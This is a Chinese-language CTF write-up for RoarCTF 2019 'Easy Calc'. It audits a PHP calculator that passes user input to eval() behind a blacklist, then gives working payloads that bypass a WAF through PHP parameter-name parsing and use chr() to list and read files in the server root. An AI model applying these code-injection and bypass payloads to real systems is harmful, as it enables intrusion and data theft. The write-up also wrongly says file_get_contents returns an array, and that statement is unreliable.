[RoarCTF 2019]Easy Calc
打开靶机,发现是一个计算器,查看网页源代码,发现存在cala.php文件并提示了网站开启了waf
尝试访问calc.php文件,给出了源代码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
进行代码审计,首先判断是否传入了num
参数,没有则高亮显示网页源代码,否则将num
参数赋给str
变量,之后定义了一个黑名单数组blacklist
,foreach
是一个循环,遍历blacklist
数组中的每一个元素,判断str
变量中是否包含了blacklist
数组中的任意一个元素,若是则终止脚本,否则使用eval
函数执行php代码,并将结果输出到页面上
尝试传入num参数,发现只能传入数字,传入字母会被waf拦截,传入字符会被检测到,传入黑名单之外的字符无法解析
可以利用php字符串解析漏洞绕过waf对字母的检测,由于没有过滤分号;
,从而可以拼接php命令执行,首先要查看网站根目录下是否存在flag文件,php中可以使用scandir()
函数列出指定路径中的文件和目录,并使用var_dump()
函数打印变量的相关信息,由于过滤了/
,则可以使用chr()
函数使用ASCII码来绕过/
字符的过滤,构造payload查看网站跟目录的文件,发现f1agg
文件
/calc.php? num=1;var_dump(scandir(chr(47)))
构造payload读取f1agg文件内容
/calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
总结:
- 解题思路:从网页源代码中收集到calc.php文件和num参数,访问后进行代码审计以及传参测试,发现存在waf检测字母以及后端对num参数的过滤,使用php字符串解析特性绕过waf检测,使用ASCII码绕过num参数的过滤,分号拼接语句执行命令,先访问根目录找到flag所在的文件,再读取文件内容得到flag
- php字符串解析特性:在读取参数值之前,php会将传进来的参数转换为有效的变量名,会删除空白字符并将某些字符转换为下划线,因此当使用 num变量名时,php在解析时会将其中的空格去掉变成num,如此以来变可以绕过架设在后端服务器前的waf检测
- waf在这里所起到的作用是检测num参数,限制其只能上传数字
- var_dump()函数用于在php中打印变量信息,scandir()函数用于列出指定路径中的文件和目录,chr()函数用于返回ASCII码对应的字符,file_get_contents()函数用于将文件内容读取到一个字符串中并返回一个数组变量
参考文章:
- RoarCTF 2019 - Easy Calc:从题解中学习了php字符串解析特征绕过waf
- RoarCTF 2019 Easy Calc 1【BUUCFT】【表达式注入】:从题解中学习了相关函数的用法,读取flag文件的payload的构造方式